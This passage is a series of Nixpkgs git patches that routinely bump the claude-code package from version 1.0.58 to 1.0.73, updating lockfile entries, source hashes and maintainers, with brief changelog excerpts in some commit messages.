-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.58.tgz",
-      "integrity": "sha512-XcfqklHSCuBRpVV9vZaAGvdJFAyVKb/UHz2VG9osvn1pRqY7e+HhIOU9X7LeI+c116QhmjglGwe+qz4jOC83CQ==",
+      "version": "1.0.60",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.60.tgz",
+      "integrity": "sha512-CH6DmwrN8AOVzbtT7tOv6iXR+Ka9QnkqBjuMRCAap78feC4ZDRo7hCOB4OYktNovVw011a1V5fRILdS9UTnPiQ==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 1d0a4be4d70c..955f3d7894c4 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.58";
+  version = "1.0.60";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-Mp3S269iifNGSEz83IF6bqbgdy6Im1bQjR8oaaL3W8c=";
+    hash = "sha256-ygeitenu4z9ACbezO53I2Xnk6NtE1fWVzCi3mZS7wF8=";
   };
 
-  npmDepsHash = "sha256-iAckljEIJFVtlySHjS414HUFg6XVSlPr8azYqTo1py8=";
+  npmDepsHash = "sha256-F4wAjwTSs5jYoVgJoCrrI1dHlBmxxfWF/KGvuu5Gl30=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 40f12fe28e1cc6a3cf3190ef10800729d895a900 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 26 Jul 2025 03:39:00 +0000
Subject: [PATCH 3770/4511] claude-code: 1.0.60 -> 1.0.61

(cherry picked from commit ac33114f7a507a23b53144fda39e88f498fb6fd6)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index f876f698ed47..a80dbd637ee3 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.60"
+        "@anthropic-ai/claude-code": "^1.0.61"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.60",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.60.tgz",
-      "integrity": "sha512-CH6DmwrN8AOVzbtT7tOv6iXR+Ka9QnkqBjuMRCAap78feC4ZDRo7hCOB4OYktNovVw011a1V5fRILdS9UTnPiQ==",
+      "version": "1.0.61",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.61.tgz",
+      "integrity": "sha512-+gjKzY1hsWfHoH52SgKR6E0ujCDPyyRsjyRShtZfS0urKd8VQq3D/DF3hvT3P4JJeW0YuWp5Dep0aSRON+/FFA==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 955f3d7894c4..13554c65167a 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.60";
+  version = "1.0.61";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-ygeitenu4z9ACbezO53I2Xnk6NtE1fWVzCi3mZS7wF8=";
+    hash = "sha256-K10rlFGi2KH65VE0kiBY1lU16xkMPV24/GSD6OjU3v0=";
   };
 
-  npmDepsHash = "sha256-F4wAjwTSs5jYoVgJoCrrI1dHlBmxxfWF/KGvuu5Gl30=";
+  npmDepsHash = "sha256-8Wt8+ZVMSESULguBME/TMMbTUXH3Soha3RTHWs1rBow=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 38cac5ca3222236cf76f54bbee55bb4b599c591e Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Mon, 28 Jul 2025 08:07:42 +0200
Subject: [PATCH 3771/4511] claude-code: add markus1189 to maintainers

(cherry picked from commit f532942d6ec159b137919b48cda84800211f0ead)
---
 pkgs/by-name/cl/claude-code/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 13554c65167a..1e83269253b6 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -44,6 +44,7 @@ buildNpmPackage rec {
     license = lib.licenses.unfree;
     maintainers = with lib.maintainers; [
       malo
+      markus1189
       omarjatoi
     ];
     mainProgram = "claude";

From e6c60ba199fca81bd9851a8fb87fc164110b237c Mon Sep 17 00:00:00 2001
From: Austin Seipp <aseipp@pobox.com>
Date: Mon, 28 Jul 2025 19:08:54 -0500
Subject: [PATCH 3772/4511] claude-code: 1.0.61 -> 1.0.62

Signed-off-by: Austin Seipp <aseipp@pobox.com>
(cherry picked from commit c62495665e645b8fbd869c9ef2477e7eec01d3ba)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index a80dbd637ee3..708ec10ab132 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.61"
+        "@anthropic-ai/claude-code": "^1.0.62"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.61",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.61.tgz",
-      "integrity": "sha512-+gjKzY1hsWfHoH52SgKR6E0ujCDPyyRsjyRShtZfS0urKd8VQq3D/DF3hvT3P4JJeW0YuWp5Dep0aSRON+/FFA==",
+      "version": "1.0.62",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.62.tgz",
+      "integrity": "sha512-uWjIvjtOudC/knp7QMJhICdIcvEP8Nuz+0Rj3DeZc5eYyHgtiYTsb5mVTou2P7OTsCfwc3ajFdbFbtyq/LwYSw==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 1e83269253b6..9a7e8af8498e 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.61";
+  version = "1.0.62";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-K10rlFGi2KH65VE0kiBY1lU16xkMPV24/GSD6OjU3v0=";
+    hash = "sha256-bzbnLVAtMXr4XHmHqSOn3jxB+6BsFCd3gd/j34Zkwi0=";
   };
 
-  npmDepsHash = "sha256-8Wt8+ZVMSESULguBME/TMMbTUXH3Soha3RTHWs1rBow=";
+  npmDepsHash = "sha256-2SBm0RRptnMrmDRdXzm6QokTnMeIrpJMIcMt+R0ZVM8=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From c0ecdfd9ef6eefc8010565cbcd19cc0bf3a832f8 Mon Sep 17 00:00:00 2001
From: Austin Seipp <aseipp@pobox.com>
Date: Thu, 31 Jul 2025 00:04:48 -0500
Subject: [PATCH 3773/4511] claude-code: 1.0.62 -> 1.0.64

Signed-off-by: Austin Seipp <aseipp@pobox.com>
(cherry picked from commit f65d381e7460ebbe5d516d2664d3f2ef9898d180)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 708ec10ab132..82550fb93c93 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.62"
+        "@anthropic-ai/claude-code": "^1.0.64"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.62",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.62.tgz",
-      "integrity": "sha512-uWjIvjtOudC/knp7QMJhICdIcvEP8Nuz+0Rj3DeZc5eYyHgtiYTsb5mVTou2P7OTsCfwc3ajFdbFbtyq/LwYSw==",
+      "version": "1.0.64",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.64.tgz",
+      "integrity": "sha512-AI3Q/50+znj80gV1Aua4MOGLuOxS4G6m11CmYYyDCFuoVMzskG1aSI5fxAyGol3N5GI4Tuw0YPmANJdZ/MNvhQ==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 9a7e8af8498e..1b288c313d9a 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.62";
+  version = "1.0.64";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-bzbnLVAtMXr4XHmHqSOn3jxB+6BsFCd3gd/j34Zkwi0=";
+    hash = "sha256-do/RbjQu+E4hfw1/iNrAt+Jm1OROwooSxJCLDNd4LZw=";
   };
 
-  npmDepsHash = "sha256-2SBm0RRptnMrmDRdXzm6QokTnMeIrpJMIcMt+R0ZVM8=";
+  npmDepsHash = "sha256-v0k5KNlGu/jsHd2AVzW9IeLFlIOr+85YXiHbe4pA/bM=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From e9f0fb0dfc4e90a8d59c4a4db273567eefd0dcb3 Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Fri, 1 Aug 2025 09:03:36 +0200
Subject: [PATCH 3774/4511] claude-code: 1.0.64 -> 1.0.65

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md

Changes:
- Fixed connection stability issues and error handling for diagnostics
- Fixed shell environment setup for users without .bashrc files

(cherry picked from commit 96a57ca6d3a09f3609b5524be3e82041362e4895)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 82550fb93c93..f90a256b140e 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.64"
+        "@anthropic-ai/claude-code": "^1.0.65"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.64",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.64.tgz",
-      "integrity": "sha512-AI3Q/50+znj80gV1Aua4MOGLuOxS4G6m11CmYYyDCFuoVMzskG1aSI5fxAyGol3N5GI4Tuw0YPmANJdZ/MNvhQ==",
+      "version": "1.0.65",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.65.tgz",
+      "integrity": "sha512-MUpHFOzdx8EKw3DogQObsL5nseXbMInGHInqRyMVBf2/aLnD4IHEFOuyR5SfnINI9E8lEiqIOy0p3muu60j3uA==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 1b288c313d9a..5f3573a4b886 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.64";
+  version = "1.0.65";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-do/RbjQu+E4hfw1/iNrAt+Jm1OROwooSxJCLDNd4LZw=";
+    hash = "sha256-Ch55xuJZJ0LXDTIlC7Ya381jqeGJzYC5IDEY0hS76/M=";
   };
 
-  npmDepsHash = "sha256-v0k5KNlGu/jsHd2AVzW9IeLFlIOr+85YXiHbe4pA/bM=";
+  npmDepsHash = "sha256-iekpD6RTMRHaV2ifogoestwpq3W+JkesjGVlhtGwHQQ=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 03387cb547de68b4049505d7f8664e02c092144e Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Sat, 2 Aug 2025 19:25:10 +0200
Subject: [PATCH 3775/4511] claude-code: 1.0.65 -> 1.0.67

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md

Updated claude-code from version 1.0.65 to 1.0.67, bringing the latest improvements and bug fixes.

(cherry picked from commit a75987b6209515aec6e8b0426d8bb9ea14fc9eb0)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index f90a256b140e..769bd17e8ba9 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.65"
+        "@anthropic-ai/claude-code": "^1.0.67"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.65",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.65.tgz",
-      "integrity": "sha512-MUpHFOzdx8EKw3DogQObsL5nseXbMInGHInqRyMVBf2/aLnD4IHEFOuyR5SfnINI9E8lEiqIOy0p3muu60j3uA==",
+      "version": "1.0.67",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.67.tgz",
+      "integrity": "sha512-r7CfhbKBXgaL5Wo0BIh08SOahFYQPcbHCNnMLtse7iDd2IVBWeOxqoiqQvzRQ0wTCiqLTshRbnmLWHyP4AbuyQ==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 5f3573a4b886..67cf42908b6b 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.65";
+  version = "1.0.67";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-Ch55xuJZJ0LXDTIlC7Ya381jqeGJzYC5IDEY0hS76/M=";
+    hash = "sha256-NZgv0nGsq+RuPTJcX0GsE1NWs/PFge2A0ek3BL1fJeY=";
   };
 
-  npmDepsHash = "sha256-iekpD6RTMRHaV2ifogoestwpq3W+JkesjGVlhtGwHQQ=";
+  npmDepsHash = "sha256-v994F0x0LCh+QbIfCywk5agxn7tNhhi+uo/3ka5Iuww=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 8ea86f9cbe19927a9defb72cc45fda0b1686fab3 Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Wed, 6 Aug 2025 10:06:31 +0200
Subject: [PATCH 3776/4511] claude-code: 1.0.67 -> 1.0.69 (#431362)

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md

- Upgraded Opus to version 4.1
- Fixed incorrect model names for certain commands like "/pr-comments"
- Improved Windows permissions checks for allow/deny tools and project trust
- Enhanced Windows sub-process spawning to eliminate "No such file or directory" errors
- Added enhanced "/doctor" command with CLAUDE.md and MCP tool context
- Added SDK support for tool confirmation callbacks
- Added "disableAllHooks" setting
- Improved file suggestions performance in large repositories

(cherry picked from commit 76fcdf42745b4034eae512a5f61e6389160dd96a)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 769bd17e8ba9..9c756ed22392 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.67"
+        "@anthropic-ai/claude-code": "^1.0.69"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.67",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.67.tgz",
-      "integrity": "sha512-r7CfhbKBXgaL5Wo0BIh08SOahFYQPcbHCNnMLtse7iDd2IVBWeOxqoiqQvzRQ0wTCiqLTshRbnmLWHyP4AbuyQ==",
+      "version": "1.0.69",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.69.tgz",
+      "integrity": "sha512-kF86lNI9o6rt14cEDw16G89rHz4pL0lv/sASztV8XenEeQ/6VUZ5Jk+icYg6XTQKe33BsdtNKFS3IL3iLyzQyw==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 67cf42908b6b..18064a31cc29 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.67";
+  version = "1.0.69";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-NZgv0nGsq+RuPTJcX0GsE1NWs/PFge2A0ek3BL1fJeY=";
+    hash = "sha256-uZbe7N3FSAVxNxL7npujJcBFH6ZjnwDz327bZWN2IEM=";
   };
 
-  npmDepsHash = "sha256-v994F0x0LCh+QbIfCywk5agxn7tNhhi+uo/3ka5Iuww=";
+  npmDepsHash = "sha256-a06NT96pVOiz06ZZ9r+1s+oF9U/I7SRJFFAw1e0NkMY=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From a552abb244eb6ad4d8b8774ccd68a094334e1b27 Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Thu, 7 Aug 2025 08:18:00 +0200
Subject: [PATCH 3777/4511] claude-code: 1.0.69 -> 1.0.70

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md

- Optimized message rendering for better performance with large contexts
- Fixed native file search, ripgrep, and subagent functionality on Windows
- Added support for @-mentions in slash command arguments

(cherry picked from commit 8cd3a087725e88d6ff1944148b9cd92f16f04fe0)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 9c756ed22392..c37f45405743 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.69"
+        "@anthropic-ai/claude-code": "^1.0.70"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.69",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.69.tgz",
-      "integrity": "sha512-kF86lNI9o6rt14cEDw16G89rHz4pL0lv/sASztV8XenEeQ/6VUZ5Jk+icYg6XTQKe33BsdtNKFS3IL3iLyzQyw==",
+      "version": "1.0.70",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.70.tgz",
+      "integrity": "sha512-gJ/bdT/XQ/hp5EKM0QoOWj/eKmK3wvs1TotTLq1unqahiB6B+EAQeRy/uvxv2Ua9nI8p5Bogw8hXB1uUmAHb+A==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 18064a31cc29..21f8607d8d72 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.69";
+  version = "1.0.70";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-uZbe7N3FSAVxNxL7npujJcBFH6ZjnwDz327bZWN2IEM=";
+    hash = "sha256-7nqhJNhO+QollwVtVlKDYHOlPDT6Erk6wI/voiAYXY4=";
   };
 
-  npmDepsHash = "sha256-a06NT96pVOiz06ZZ9r+1s+oF9U/I7SRJFFAw1e0NkMY=";
+  npmDepsHash = "sha256-nBLaWDwSPOfZx26UU2QQpp/r8HPHAO4EnPkb/gcTPrg=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 3fd94ad0cc920575ac42133068726d0e554b3eff Mon Sep 17 00:00:00 2001
From: Austin Seipp <aseipp@pobox.com>
Date: Thu, 7 Aug 2025 17:29:56 -0500
Subject: [PATCH 3778/4511] claude-code: 1.0.70 -> 1.0.71

Signed-off-by: Austin Seipp <aseipp@pobox.com>
(cherry picked from commit 5ec35586d9d592b353ced399665021f220c45e9a)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index c37f45405743..89a9bbd637d2 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.70"
+        "@anthropic-ai/claude-code": "^1.0.71"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.70",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.70.tgz",
-      "integrity": "sha512-gJ/bdT/XQ/hp5EKM0QoOWj/eKmK3wvs1TotTLq1unqahiB6B+EAQeRy/uvxv2Ua9nI8p5Bogw8hXB1uUmAHb+A==",
+      "version": "1.0.71",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.71.tgz",
+      "integrity": "sha512-2Z1HU8TiOSRZSZdHCPs+ih942cteUQ9Yx1EHHW5fO9y+gwxPYDR8Xbh/rAJMl/G58cJIn2jRiZmkWcGMN+Iqqg==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 21f8607d8d72..630c5576267c 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.70";
+  version = "1.0.71";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-7nqhJNhO+QollwVtVlKDYHOlPDT6Erk6wI/voiAYXY4=";
+    hash = "sha256-ZJUvscbEaWHILL77R5/sPdNcxCLc2BL9P6tR+S7QnHg=";
   };
 
-  npmDepsHash = "sha256-nBLaWDwSPOfZx26UU2QQpp/r8HPHAO4EnPkb/gcTPrg=";
+  npmDepsHash = "sha256-wQ/DRPefziSRv6aFZXRpmz2vC6mQRqgc7r3++cDpYSg=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 3da5e6601ad5ed7703519d34e0f6c8e7c31be78f Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Sat, 9 Aug 2025 11:11:04 +0200
Subject: [PATCH 3779/4511] claude-code: 1.0.71 -> 1.0.72

(cherry picked from commit 9501f2ac980575d8e7714d37d79556c84eb7af20)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 89a9bbd637d2..cb8e32a0263f 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.71"
+        "@anthropic-ai/claude-code": "^1.0.72"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.71",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.71.tgz",
-      "integrity": "sha512-2Z1HU8TiOSRZSZdHCPs+ih942cteUQ9Yx1EHHW5fO9y+gwxPYDR8Xbh/rAJMl/G58cJIn2jRiZmkWcGMN+Iqqg==",
+      "version": "1.0.72",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.72.tgz",
+      "integrity": "sha512-nA/l/xKX4sgOE0Y6P3o6czNGQqlyqJPjs9CHFxantsmyKvOot9VlRW4AiEAn42hQrZReCXeSnt8LOMx9ev7Erg==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 630c5576267c..059acc52ad0b 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.71";
+  version = "1.0.72";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-ZJUvscbEaWHILL77R5/sPdNcxCLc2BL9P6tR+S7QnHg=";
+    hash = "sha256-1vIElqZ5sk62o1amdfOqhmSG4B5wzKWDLcCgvQO4a5o=";
   };
 
-  npmDepsHash = "sha256-wQ/DRPefziSRv6aFZXRpmz2vC6mQRqgc7r3++cDpYSg=";
+  npmDepsHash = "sha256-LkQf2lW6TM1zRr10H7JgtnE+dy0CE7WCxF4GhTd4GT4=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 4cf564a0bd912101a433dd5c269c91ce8f462328 Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Tue, 12 Aug 2025 09:40:54 +0200
Subject: [PATCH 3780/4511] claude-code: 1.0.72 -> 1.0.73

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md

- MCP Configuration: Support multiple config files with `--mcp-config file1.json file2.json`
- MCP: Added ability to press Esc to cancel OAuth authentication flows
- Bash: Improved command validation and reduced false security warnings
